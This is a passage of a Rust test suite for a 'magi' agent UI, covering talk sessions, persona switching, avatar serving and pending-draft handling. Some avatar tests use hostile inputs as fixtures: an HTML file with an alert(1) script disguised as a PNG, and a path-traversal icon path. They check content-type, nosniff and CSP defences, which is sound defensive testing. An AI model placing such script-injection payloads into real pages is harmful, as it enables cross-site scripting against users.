10229 refused.message.contains("takes no more turns"),
10230 "{}",
10231 refused.message
10232 );
10233 }
10234
10235 #[tokio::test]
10236 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
10237 let tmp = TempDir::new().expect("tempdir");
10238 let repo = tmp.path().join("repo");
10239 std::fs::create_dir_all(&repo).expect("repo dir");
10240 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10241 let home = TempDir::new().expect("temp home");
10242 let talks = Talks::at(home.path().join("talks"));
10243 let ui = Arc::new(
10244 Ui::new(
10245 Queue::at(home.path().join("queue")),
10246 Questions::at(home.path().join("questions")),
10247 talks.clone(),
10248 home.path().join("runs"),
10249 home.path().to_path_buf(),
10250 repo.clone(),
10251 )
10252 .with_worktrees_root(home.path().join("wt")),
10253 );
10254 let cfg = config_for(&repo).await.expect("discover config");
10255 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10256 let id = talk.id.clone();
10257 let call = |n: u8| {
10258 talk_implementers(
10259 State(Arc::clone(&ui)),
10260 Path(id.clone()),
10261 Json(TalkImplementers { implementers: n }),
10262 )
10263 };
10264
10265 for bad in [0u8, 4] {
10266 let e = call(bad).await.expect_err("out of range");
10267 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
10268 }
10269 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
10270
10271 {
10272 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10275 let busy = call(2).await.expect_err("busy talk");
10276 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10277 assert!(
10278 busy.message.contains("a talk turn is running"),
10279 "{}",
10280 busy.message
10281 );
10282 drop(guard);
10283 }
10284
10285 let Json(view) = call(3).await.expect("switch");
10286 assert_eq!(view.talk.implementers, 3);
10287 assert!(talks.get(&id).expect("reload").implementers_dirty);
10288 assert!(!view.thinking);
10289 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10290 for n in [1, 2, 3] {
10291 let Json(view) = call(n).await.expect("immediate consecutive change");
10292 assert_eq!(view.talk.implementers, n);
10293 assert!(!view.thinking);
10294 assert!(!ui.is_thinking(&id));
10295 }
10296
10297 let mut closed = talks.get(&id).expect("reload");
10298 talk::close(&mut closed, &talks).expect("close");
10299 let e = call(2).await.expect_err("closed talk");
10300 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
10301 assert!(e.message.contains("takes no more turns"), "{}", e.message);
10302 }
10303
10304 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
10306 let tmp = TempDir::new().expect("tempdir");
10307 let repo = tmp.path().join("repo");
10308 std::fs::create_dir_all(&repo).expect("repo dir");
10309 std::fs::write(
10310 repo.join("magi.toml"),
10311 format!("{MOCK_AGENT_TOML}\n{extra}"),
10312 )
10313 .expect("write magi.toml");
10314 let home = TempDir::new().expect("temp home");
10315 let talks = Talks::at(home.path().join("talks"));
10316 let ui = Arc::new(
10317 Ui::new(
10318 Queue::at(home.path().join("queue")),
10319 Questions::at(home.path().join("questions")),
10320 talks.clone(),
10321 home.path().join("runs"),
10322 home.path().to_path_buf(),
10323 repo.clone(),
10324 )
10325 .with_worktrees_root(home.path().join("wt")),
10326 );
10327 let cfg = config_for(&repo).await.expect("discover config");
10328 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10329 (tmp, home, ui, talk.id, repo)
10330 }
10331
10332 async fn avatar(
10334 ui: &Arc<Ui>,
10335 id: &str,
10336 persona: Option<&str>,
10337 builtin: bool,
10338 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
10339 let res = talk_avatar(
10340 State(Arc::clone(ui)),
10341 Path(id.to_owned()),
10342 Query(AvatarQuery {
10343 persona: persona.map(str::to_owned),
10344 builtin: builtin.then(|| "1".to_owned()),
10345 }),
10346 )
10347 .await
10348 .expect("an avatar is never an error response");
10349 let h = res.headers();
10350 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
10351 let nosniff = h
10352 .get(header::X_CONTENT_TYPE_OPTIONS)
10353 .is_some_and(|v| v == "nosniff");
10354 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
10355 let status = res.status();
10356 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10357 .await
10358 .expect("body")
10359 .to_vec();
10360 (status, ct, nosniff, csp, body)
10361 }
10362
10363 fn tiny_png() -> Vec<u8> {
10364 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
10365 b.extend_from_slice(&[0u8; 32]);
10366 b
10367 }
10368
10369 #[tokio::test]
10370 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
10371 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
10372 for p in [
10373 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
10374 ] {
10375 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
10376 assert_eq!(status, StatusCode::OK, "{p}");
10377 assert_eq!(ct, "image/svg+xml", "{p}");
10378 assert!(nosniff && csp, "{p}");
10379 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
10380 }
10381 let own = avatar(&ui, &id, None, false).await;
10383 let default = avatar(&ui, &id, Some("default"), false).await;
10384 assert_eq!(own.4, default.4);
10385 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
10386 assert_eq!(unknown.1, "image/svg+xml");
10387 }
10388
10389 #[tokio::test]
10390 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
10391 let dir = TempDir::new().expect("icons");
10392 let good = dir.path().join("good.png");
10393 std::fs::write(&good, tiny_png()).unwrap();
10394 let spoof = dir.path().join("spoof.png");
10395 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
10396 let big = dir.path().join("big.png");
10397 let mut bytes = tiny_png();
10398 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
10399 std::fs::write(&big, bytes).unwrap();
10400 let missing = dir.path().join("missing.png");
10401 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
10402 let extra = format!(
10403 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
10404 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
10405 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
10406 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
10407 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
10408 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
10409 uri(&good),
10410 uri(&spoof),
10411 uri(&big),
10412 uri(&missing),
10413 );
10414 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10415
10416 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
10417 assert_eq!(
10418 (status, ct.as_str(), nosniff),
10419 (StatusCode::OK, "image/png", true)
10420 );
10421 assert_eq!(body, tiny_png());
10422 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
10423 assert_eq!(ct, "image/png", "data URI");
10424
10425 for p in ["misato", "asuka", "shinji", "magi"] {
10426 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
10427 assert_eq!(
10428 (status, ct.as_str(), csp),
10429 (StatusCode::OK, "image/svg+xml", true),
10430 "{p}"
10431 );
10432 assert!(body.starts_with(b"<svg"), "{p}");
10433 }
10434 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
10436 assert_eq!(ct, "image/svg+xml");
10437 }
10438
10439 #[tokio::test]
10440 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
10441 let oversized = format!(
10442 "data:image/png;base64,{}",
10443 "A".repeat(persona_icon::ICON_MAX_BYTES)
10444 );
10445 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
10446 let extra = format!(
10447 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
10448 );
10449 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10450 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10451 .await
10452 .expect("detail with invalid icon");
10453 assert!(detail.personas.iter().any(|p| p.id == "custom"));
10454 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
10455 assert_eq!(status, StatusCode::OK);
10456 assert_eq!(ct, "image/svg+xml");
10457 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
10458 let Json(view) = talk_persona(
10459 State(Arc::clone(&ui)),
10460 Path(id.clone()),
10461 Json(TalkPersona {
10462 persona: "custom".into(),
10463 }),
10464 )
10465 .await
10466 .expect("persona switch with invalid icon");
10467 assert_eq!(view.talk.persona, "custom");
10468 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
10469 }
10470 }
10471
10472 #[tokio::test]
10473 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
10474 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10475 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
10476 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
10477 assert_eq!(
10478 (status, ct.as_str(), nosniff, csp),
10479 (StatusCode::OK, "image/svg+xml", true, true)
10480 );
10481 }
10482
10483 #[tokio::test]
10484 async fn the_talk_view_carries_server_built_avatar_urls_only() {
10485 let (_t, _h, ui, id, _repo) =
10486 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
10487 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10488 .await
10489 .expect("detail");
10490 let json = serde_json::to_string(&detail).unwrap();
10491 assert!(
10492 !json.contains("secret"),
10493 "the icon setting must not leak: {json}"
10494 );
10495 assert!(
10496 detail
10497 .view
10498 .persona_avatar
10499 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
10500 );
10501 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
10502 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
10503 assert!(rei.avatar.contains("persona=rei&v="));
10504 assert_ne!(
10505 rei.avatar.split("&v=").nth(1),
10506 plain.avatar.split("&v=").nth(1)
10507 );
10508 }
10509
10510 #[tokio::test]
10511 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
10512 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10513 let cfg = config_for(&repo).await.unwrap();
10514 for arrived in [false, true] {
10515 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
10516 let observed = ui.queued_generation(&id);
10517 let talk = ui.talks.get(&id).unwrap();
10518 if arrived {
10519 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
10520 }
10521 let mut settling = std::pin::pin!(settle_settings_turn(
10522 talk,
10523 ui.talks.clone(),
10524 cfg.clone(),
10525 id.clone(),
10526 turn,
10527 observed
10528 ));
10529 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
10530 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
10531 assert_eq!(first.is_pending(), arrived);
10532 if arrived {
10533 assert!(!settling.await);
10534 }
10535 assert!(!ui.is_thinking(&id));
10536 }
10537 }
10538
10539 #[tokio::test]
10540 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
10541 let tmp = TempDir::new().expect("tempdir");
10542 let repo = tmp.path().join("repo");
10543 std::fs::create_dir_all(&repo).expect("repo dir");
10544 std::fs::write(
10545 repo.join("magi.toml"),
10546 format!(
10547 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
10548 ),
10549 )
10550 .expect("write magi.toml");
10551 let home = TempDir::new().expect("temp home");
10552 let talks = Talks::at(home.path().join("talks"));
10553 let ui = Arc::new(
10554 Ui::new(
10555 Queue::at(home.path().join("queue")),
10556 Questions::at(home.path().join("questions")),
10557 talks.clone(),
10558 home.path().join("runs"),
10559 home.path().to_path_buf(),
10560 repo.clone(),
10561 )
10562 .with_worktrees_root(home.path().join("wt")),
10563 );
10564 let cfg = config_for(&repo).await.expect("discover config");
10565 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10566 let id = talk.id.clone();
10567 let call = |persona: &str| {
10568 talk_persona(
10569 State(Arc::clone(&ui)),
10570 Path(id.clone()),
10571 Json(TalkPersona {
10572 persona: persona.to_owned(),
10573 }),
10574 )
10575 };
10576
10577 let unknown = call("nobody").await.expect_err("unknown persona");
10578 assert_eq!(
10579 unknown.status,
10580 StatusCode::BAD_REQUEST,
10581 "{}",
10582 unknown.message
10583 );
10584
10585 {
10586 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10589 let busy = call("rei").await.expect_err("busy talk");
10590 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10591 assert!(
10592 busy.message.contains("a talk turn is running"),
10593 "{}",
10594 busy.message
10595 );
10596 drop(guard);
10597 }
10598 assert_eq!(talks.get(&id).expect("reload").persona, "");
10599
10600 let Json(view) = call("gendo").await.expect("switch to a configured persona");
10601 assert_eq!(view.talk.persona, "gendo");
10602 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
10603 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10604 for chosen in ["default", "gendo", "rei", "gendo"] {
10606 let Json(view) = call(chosen).await.expect("immediate consecutive change");
10607 assert!(!view.thinking);
10608 assert!(!ui.is_thinking(&id));
10609 }
10610
10611 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10612 .await
10613 .expect("detail");
10614 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
10615 assert_eq!(ids.first(), Some(&"default"));
10616 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
10617
10618 let Json(view) = call("default").await.expect("back to default");
10619 assert_eq!(view.talk.persona, "");
10620
10621 let mut closed = talks.get(&id).expect("reload");
10622 talk::close(&mut closed, &talks).expect("close");
10623 let refused = call("rei").await.expect_err("closed talk");
10624 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10625 assert!(
10626 refused.message.contains("takes no more turns"),
10627 "{}",
10628 refused.message
10629 );
10630 }
10631
10632 #[tokio::test]
10633 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
10634 let f = Fixture::start().await;
10635 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
10636 let queue = f.queue();
10637 let mut mine = Task::new(
10638 "rename the loader".to_owned(),
10639 "rename the loader".to_owned(),
10640 PathBuf::from("/repo/magi"),
10641 Source::Agent {
10642 run: talk_id.clone(),
10643 node: "chat".to_owned(),
10644 },
10645 );
10646 queue.put(&mut mine).expect("file the task");
10647 let mut theirs = Task::new(
10648 "unrelated".to_owned(),
10649 "unrelated".to_owned(),
10650 PathBuf::from("/repo/magi"),
10651 Source::Human,
10652 );
10653 queue.put(&mut theirs).expect("file the task");
10654
10655 let res = f.get(&format!("/api/talks/{talk_id}")).await;
10656 assert_eq!(res.status, 200, "{}", res.body);
10657 let body = res.json();
10658 assert_eq!(
10659 body["status"], "open",
10660 "filing a task does not close a talk"
10661 );
10662 let tasks = body["tasks"].as_array().expect("tasks array");
10663 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
10664 assert_eq!(tasks[0]["id"], mine.id);
10665 }
10666
10667 #[tokio::test]
10668 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
10669 let (_tmp, _repo, f) = talk_fixture().await;
10670 let id = f.post("/api/talks", None).await.json()["id"]
10671 .as_str()
10672 .expect("id")
10673 .to_owned();
10674
10675 let res = f
10676 .post(
10677 &format!("/api/talks/{id}/say"),
10678 Some(r#"{"text":"what does the queue module do?"}"#),
10679 )
10680 .await;
10681 assert_eq!(res.status, 202, "{}", res.body);
10682 let queued = res.json();
10683 let turns = queued["turns"].as_array().expect("turns array");
10684 assert_eq!(
10685 turns.len(),
10686 1,
10687 "the answer reflects only what is on disk the instant it is sent, \
10688 before the agent's turn - which can run for the whole of \
10689 `[graph] timeout_talk` - has a chance to land: {queued}"
10690 );
10691 assert_eq!(turns[0]["who"], "operator");
10692 assert_eq!(turns[0]["body"], "what does the queue module do?");
10693 assert_eq!(
10694 queued["thinking"], true,
10695 "the accepted response exposes the background turn claim: {queued}"
10696 );
10697
10698 let mut turns_after = 1;
10699 for _ in 0..SETTLE_STEPS {
10700 let detail = f.get(&format!("/api/talks/{id}")).await.json();
10701 turns_after = detail["turns"].as_array().expect("turns array").len();
10702 if turns_after == 2 {
10703 break;
10704 }
10705 tokio::time::sleep(Duration::from_millis(10)).await;
10706 }
10707 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
10708 }
10709
10710 #[tokio::test]
10737 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
10738 let tmp = TempDir::new().expect("tempdir");
10739 let repo = tmp.path().join("repo");
10740 std::fs::create_dir_all(&repo).expect("repo dir");
10741 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10742 let home = TempDir::new().expect("temp home");
10743 let talks = Talks::at(home.path().join("talks"));
10744 let ui = Arc::new(
10745 Ui::new(
10746 Queue::at(home.path().join("queue")),
10747 Questions::at(home.path().join("questions")),
10748 talks.clone(),
10749 home.path().join("runs"),
10750 home.path().to_path_buf(),
10751 repo.clone(),
10752 )
10753 .with_worktrees_root(home.path().join("wt")),
10754 );
10755 let cfg = config_for(&repo).await.expect("discover config");
10756
10757 for delay in 0..40u32 {
10758 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10759 let id = talk.id.clone();
10760
10761 let handler = tokio::spawn(talk_say(
10762 State(Arc::clone(&ui)),
10763 Path(id.clone()),
10764 Ok(Json(NewTalkTurn {
10765 text: "what does the queue module do?".to_owned(),
10766 attachments: Vec::new(),
10767 })),
10768 ));
10769 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
10770 handler.abort();
10771 let _ = handler.await;
10774
10775 let mut turns = 0;
10776 for _ in 0..SETTLE_STEPS {
10777 if let Ok(fresh) = talks.get(&id) {
10778 turns = fresh.turns.len();
10779 if turns != 1 {
10780 break;
10781 }
10782 }
10783 tokio::time::sleep(Duration::from_millis(10)).await;
10784 }
10785 assert_ne!(
10786 turns, 1,
10787 "delay {delay}: talk {id} recorded the operator's turn but \
10788 the agent never answered - the reply task was never \
10789 started after the handler future was dropped"
10790 );
10791 }
10792 }
10793
10794 #[tokio::test]
10839 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
10840 let tmp = TempDir::new().expect("tempdir");
10841 let repo = tmp.path().join("repo");
10842 std::fs::create_dir_all(&repo).expect("repo dir");
10843 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10844 let home = TempDir::new().expect("temp home");
10845 let talks = Talks::at(home.path().join("talks"));
10846 let ui = Arc::new(
10847 Ui::new(
10848 Queue::at(home.path().join("queue")),
10849 Questions::at(home.path().join("questions")),
10850 talks.clone(),
10851 home.path().join("runs"),
10852 home.path().to_path_buf(),
10853 repo.clone(),
10854 )
10855 .with_worktrees_root(home.path().join("wt")),
10856 );
10857 let cfg = config_for(&repo).await.expect("discover config");
10858
10859 for attempt in 0..3u32 {
10860 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10861 let id = talk.id.clone();
10862 let turn_guard = ui
10865 .begin_talk_turn(&id)
10866 .expect("claim the turn")
10867 .expect("a fresh talk owes nobody a turn");
10868
10869 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
10870 let (release_tx, release_rx) = std::sync::mpsc::channel();
10871 ui.set_busy_queue_gate(BusyQueueGate {
10872 reached: reached_tx,
10873 release: release_rx,
10874 });
10875
10876 let handler = tokio::spawn(talk_say(
10877 State(Arc::clone(&ui)),
10878 Path(id.clone()),
10879 Ok(Json(NewTalkTurn {
10880 text: "what does the queue module do?".to_owned(),
10881 attachments: Vec::new(),
10882 })),
10883 ));
10884
10885 tokio::time::timeout(Duration::from_secs(5), reached_rx)
10890 .await
10891 .unwrap_or_else(|_| {
10892 panic!(
10893 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
10894 )
10895 })
10896 .expect("the busy branch dropped the gate without using it");
10897
10898 let running = talks.get(&id).expect("reload talk");
10905 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
10906
10907 handler.abort();
10911 let _ = handler.await;
10912
10913 let _ = release_tx.send(());
10919
10920 let mut fresh = talks.get(&id).expect("reload talk");
10923 for _ in 0..SETTLE_STEPS {
10924 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
10925 break;
10926 }
10927 tokio::time::sleep(Duration::from_millis(10)).await;
10928 fresh = talks.get(&id).expect("reload talk");
10929 }
10930 assert!(
10931 fresh.pending.is_empty() && fresh.turns.len() == 2,
10932 "attempt {attempt}: talk {id} left the operator's text queued \
10933 with no drainer - the reclaimed turn was dropped along with \
10934 the handler future (pending {:?}, {} turns)",
10935 fresh.pending,
10936 fresh.turns.len()
10937 );
10938 }
10939 }
10940
10941 #[tokio::test]
10942 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
10943 let (_tmp, _repo, f) = talk_fixture().await;
10944 let id = f.post("/api/talks", None).await.json()["id"]
10945 .as_str()
10946 .expect("id")
10947 .to_owned();
10948 let store = f.talks();
10949 let mut recovered = store.get(&id).expect("opened talk");
10950 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10951 .expect("persist pending draft without a live turn");
10952
10953 let edited = f
10954 .post(
10955 &format!("/api/talks/{id}/pending/edit"),
10956 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
10957 )
10958 .await;
10959 assert_eq!(edited.status, 200, "{}", edited.body);
10960 assert!(edited.json()["thinking"].as_bool().unwrap());
10961
10962 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
10963 for _ in 0..SETTLE_STEPS {
10964 if detail["turns"].as_array().expect("turns").len() == 2 {
10965 break;
10966 }
10967 tokio::time::sleep(Duration::from_millis(10)).await;
10968 detail = f.get(&format!("/api/talks/{id}")).await.json();
10969 }
10970 let turns = detail["turns"].as_array().expect("turns");
10971 assert_eq!(
10972 turns.len(),
10973 2,
10974 "the recovered draft must run once: {detail}"
10975 );
10976 assert_eq!(turns[0]["body"], "corrected");
10977 assert_eq!(detail["pending"], "");
10978 }
10979
10980 #[tokio::test]
10981 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
10982 let tmp = TempDir::new().expect("tempdir");
10983 let repo = tmp.path().join("repo");
10984 std::fs::create_dir_all(&repo).expect("repo dir");
10985 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
10986 let f = Fixture::with_repo(repo).await;
10987 let id = f.post("/api/talks", None).await.json()["id"]
10988 .as_str()
10989 .expect("id")
10990 .to_owned();
10991 let store = f.talks();
10992 let mut recovered = store.get(&id).expect("opened talk");
10993 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10994 .expect("persist pending draft without a live turn");
10995
10996 let refused = f
10997 .post(
10998 &format!("/api/talks/{id}/say"),
10999 Some(r#"{"text":"new message"}"#),
11000 )
11001 .await;
11002 assert_eq!(refused.status, 409, "{}", refused.body);
11003 assert!(refused.body.contains("resume"), "{}", refused.body);
11004 let saved = store.get(&id).expect("draft remains after refusal");
11005 assert!(saved.turns.is_empty());
11006 assert_eq!(saved.pending, "saved before restart");
11007
11008 let say_path = format!("/api/talks/{id}/say");
11009 let (first, second) = tokio::join!(
11010 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
11011 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
11012 );
11013 assert_eq!(first.status, 409, "{}", first.body);
11014 assert_eq!(second.status, 409, "{}", second.body);
11015 let saved = store
11016 .get(&id)
11017 .expect("draft remains after concurrent refusals");
11018 assert!(saved.turns.is_empty());
11019 assert_eq!(saved.pending, "saved before restart");
11020
11021 let resumed = f
11022 .post(&format!("/api/talks/{id}/pending/resume"), None)
11023 .await;
11024 assert_eq!(resumed.status, 202, "{}", resumed.body);
11025 let duplicate = f
11026 .post(&format!("/api/talks/{id}/pending/resume"), None)
11027 .await;
11028 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
11029
11030 for _ in 0..SETTLE_STEPS {
11031 if store.get(&id).expect("talk").turns.len() == 2 {
11032 break;
11033 }
11034 tokio::time::sleep(Duration::from_millis(10)).await;
11035 }
11036 let finished = store.get(&id).expect("finished talk");
11037 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11038 assert_eq!(finished.turns[0].body, "saved before restart");
11039 assert!(finished.pending.is_empty());
11040 }
11041
11042 #[tokio::test]
11043 async fn an_image_only_recovered_draft_resumes_without_text() {
11044 let (_tmp, _repo, f) = talk_fixture().await;
11045 let id = f.post("/api/talks", None).await.json()["id"]
11046 .as_str()
11047 .expect("id")
11048 .to_owned();
11049 let uploaded = f
11050 .post_bytes(
11051 &format!("/api/talks/{id}/attachments"),
11052 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
11053 PNG_BYTES,
11054 )
11055 .await;
11056 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11057 let attachment = f
11058 .talks()
11059 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
11060 .expect("attachment metadata")
11061 .expect("stored attachment");
11062 let store = f.talks();
11063 let mut recovered = store.get(&id).expect("opened talk");
11064 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
11065
11066 let resumed = f
11067 .post(&format!("/api/talks/{id}/pending/resume"), None)
11068 .await;
11069 assert_eq!(resumed.status, 202, "{}", resumed.body);
11070 for _ in 0..SETTLE_STEPS {
11071 if store.get(&id).expect("talk").turns.len() == 2 {
11072 break;
11073 }
11074 tokio::time::sleep(Duration::from_millis(10)).await;
11075 }
11076 let finished = store.get(&id).expect("finished talk");
11077 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11078 assert!(finished.turns[0].body.is_empty());
11079 assert_eq!(finished.turns[0].attachments.len(), 1);
11080 assert!(finished.pending_attachments.is_empty());
11081 }
11082
11083 #[tokio::test]
11084 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
11085 let (_tmp, _repo, f) = talk_fixture().await;
11086 let id = f.post("/api/talks", None).await.json()["id"]
11087 .as_str()
11088 .expect("id")
11089 .to_owned();
11090 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11091 assert_eq!(closed.status, 200, "{}", closed.body);
11092 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11093 .expect("serialize closed talk");
11094 for (path, body) in [
11095 (format!("/api/talks/{id}/pending/resume"), None),
11096 (
11097 format!("/api/talks/{id}/pending/clear"),
11098 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
11099 ),
11100 (
11101 format!("/api/talks/{id}/pending/edit"),
11102 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
11103 ),
11104 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
11105 ] {
11106 let response = f.post(&path, body).await;
11107 assert_eq!(response.status, 409, "{}", response.body);
11108 }
11109 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11110 .expect("serialize closed talk");
11111 assert_eq!(
11112 after_clear, before_clear,
11113 "clear must not rewrite a closed talk"
11114 );
11115 }
11116
11117 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
11120
11121 #[tokio::test]
11122 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
11123 let tmp = TempDir::new().expect("tempdir");
11124 let repo = tmp.path().join("repo");
11125 std::fs::create_dir_all(&repo).expect("repo dir");
11126 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11127 let f = Fixture::with_repo(repo).await;
11128 let id_a = f.post("/api/talks", None).await.json()["id"]
11129 .as_str()
11130 .unwrap()
11131 .to_owned();
11132 let id_b = f.post("/api/talks", None).await.json()["id"]
11133 .as_str()
11134 .unwrap()
11135 .to_owned();
11136
11137 let a = f
11138 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
11139 .await;
11140 assert_eq!(a.status, 202, "{}", a.body);
11141 assert_eq!(a.json()["thinking"], true);
11142 let b = f
11143 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
11144 .await;
11145 assert_eq!(b.status, 202, "{}", b.body);
11146 assert_eq!(b.json()["thinking"], true);
11147
11148 let listed = f.get("/api/talks").await.json();
11149 for id in [&id_a, &id_b] {
11150 let view = listed
11151 .as_array()
11152 .unwrap()
11153 .iter()
11154 .find(|talk| talk["id"] == *id)
11155 .unwrap();
11156 assert_eq!(view["thinking"], true, "{listed}");
11157 }
11158 let repeated = f
11159 .post(
11160 &format!("/api/talks/{id_a}/say"),
11161 Some(r#"{"text":"again"}"#),
11162 )
11163 .await;
11164 assert_eq!(repeated.status, 202, "{}", repeated.body);
11165 assert_eq!(repeated.json()["pending"], "again");
11166 }
11167
11168 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
11171
11172 #[tokio::test]
11173 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
11174 let f = Fixture::start().await;
